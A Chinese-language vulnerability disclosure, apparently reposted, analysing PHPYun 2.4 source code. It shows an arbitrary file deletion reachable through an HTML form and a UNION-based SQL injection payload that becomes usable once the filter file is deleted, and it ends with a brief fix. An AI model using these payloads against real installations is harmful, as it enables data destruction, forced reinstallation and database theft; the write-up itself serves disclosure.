好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

PHP云人才系统 PHPYun任意文件删除 导致sql注射 -

PHP云人才系统 PHPYun为 PHP100旗下产品。

下载 源码 :http://HdhCmsTestphpyun测试数据/phpyun_2.4_GBK_Beta.zip 2.4版本的

先看根目录下index.php文件:

 

<?php

include(dirname(__FILE__)."/global.php");

********省略***********

$act = $_GET['act'];

$task = $_GET['task'];

********省略***********

require(MODEL_PATH.'class/common.php');

require("model/".$act.'.class.php');//包含model/下的class.php文件

$conclass=$act.'_controller';

$actfunc=$task.'_action';

$views=new $conclass($phpyun,$db,$db_config["def"],"index");//实例化一个类

if(!method_exists($views,$actfunc)){

$views->DoException();

}

$views->$actfunc();//访问url:index.php?act=ajax&task=delupload将调用model/ajax.class.php中ajax_controller类的delupload_action函数

?>

来到根目录下的global.php

 

error_reporting(0);//关闭了错误显示

........................................

if($_GET[act]!="admin_template"){

include(CONFIG_PATH."db.safety.php");//包含了data/db.safety.php文件

}

再看data/db.safety.php文件

 

<?php

function quotesGPC() {

$_POST = array_map("addSlash", $_POST);

$_GET = array_map("addSlash", $_GET);

$_COOKIE = array_map("addSlash", $_COOKIE);

}

function addSlash($el) {

if (is_array($el))

return array_map("addSlash", $el);

else

return addslashes($el);

}

function gpc2sql($str) {

$arr=array(" and "=>" an d "," or "=>" Or ","%20"=>"","select"=>"Select","update"=>"Update","count"=>"Count","chr"=>"Chr","truncate"=>"Truncate","union"=>"Union","delete"=>"Delete","insert"=>"Insert");

foreach($arr as $key=>$v){

    $str = preg_replace('/'.$key.'/isU',$v,$str);

}

return $str;

}

function common_ html specialchars($str){

    $str = preg_replace('/&(?!#[0-9]+;)/s', '&amp;', $str);

    $str = str_replace(

    array('&','<','>','"','and',"'"),

    array("&amp;",'&lt;','&gt;','&quot;','an d',"&acute;"),

    $str);

    return gpc2sql($str);

}

foreach($_POST  as $id=>$v){

$_POST[$id]=common_htmlspecialchars($v);

}

foreach($_GET  as $id=>$v){

if(!is_array($v))

$v=substr(strip_tags($v),0,80);

$_GET[$id]=common_htmlspecialchars($v);

}

 

foreach($_COOKIE  as $id=>$v){

$v=substr(strip_tags($v),0,52);

$_COOKIE[$id]=common_htmlspecialchars($v);

}

?>

可以看到对$_POST、$_GET、$_COOKIE的值都进行了过滤、转义,XSS、sql注射都很难了。

好了那么问题出在mode/ajax.class.php。

来看mode/ajax.class.php中的delupload_action函数

 

function delupload_action(){

if(!$this->uid || !$this->username || $_COOKIE["usertype"]!=2){//需要先注册一个企业用户再登录,企业用户usertype为2,个人用户需要修改cookie

echo 0;die;

}else{

$dir=$_POST[str][0]; //POST表单中设置[str][0]的值就可以删除任意文件了

echo @unlink(".".$dir); //调用了unlink函数删除文件

}

}

构造html文件:

 

<form action="http://demo.phpyun测试数据/index.php?act=ajax&task=delupload" method="post"><br>

    要删除的文件:<input type="text" name="str[0]" value="/robots.txt" size=120><br>

    <input type="submit" value="提交">

</form>

提交后robots.txt文件删除了

 

 

 

 

 

 

 

如果删除/data/phpyun.lock可以重新安装

如果删除/data/db.safety.php则没有进行对$_POST、$_GET、$_COOKIE进行过滤了

比如删除/data/db.safety.php后可通过mode/ajax.class.php中getzphcom_action函数进行sql注入:

 

function getzphcom_action(){

extract($_GET); //$jobid=$_GET["jobid"]

if(!$jobid){

$arr['status']=0;

$arr['content']=iconv("gbk","utf-8","您还没有职位,<a href='index.php?act=login&usertype=2'>请先登录</a>");

}else{

$row=$this->obj->DB_select_all("company_job","`id` in ($jobid)");//$jobid没有单引号,闭合前面的)即可进行注入

foreach($row as $v){

$data.=$v[name].'<br>';

}

$arr['status']=1;

$arr['content']=iconv("gbk","utf-8",$data);

}

echo json_encode($arr);

}

注入:访问/index.php?act=ajax&task=getzphcom&jobid=-1) UNION SELECT 1,2,concat(user(),0x7c,database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%23 HdhCmsTest2cto测试数据

本地测试注入成功,demo.phpyun测试数据测试注入不成功。

 

 

修复方案: 只允许用户删除用户上传的特定文件。

 

查看更多关于PHP云人才系统 PHPYun任意文件删除 导致sql注射 -的详细内容...

  阅读:48次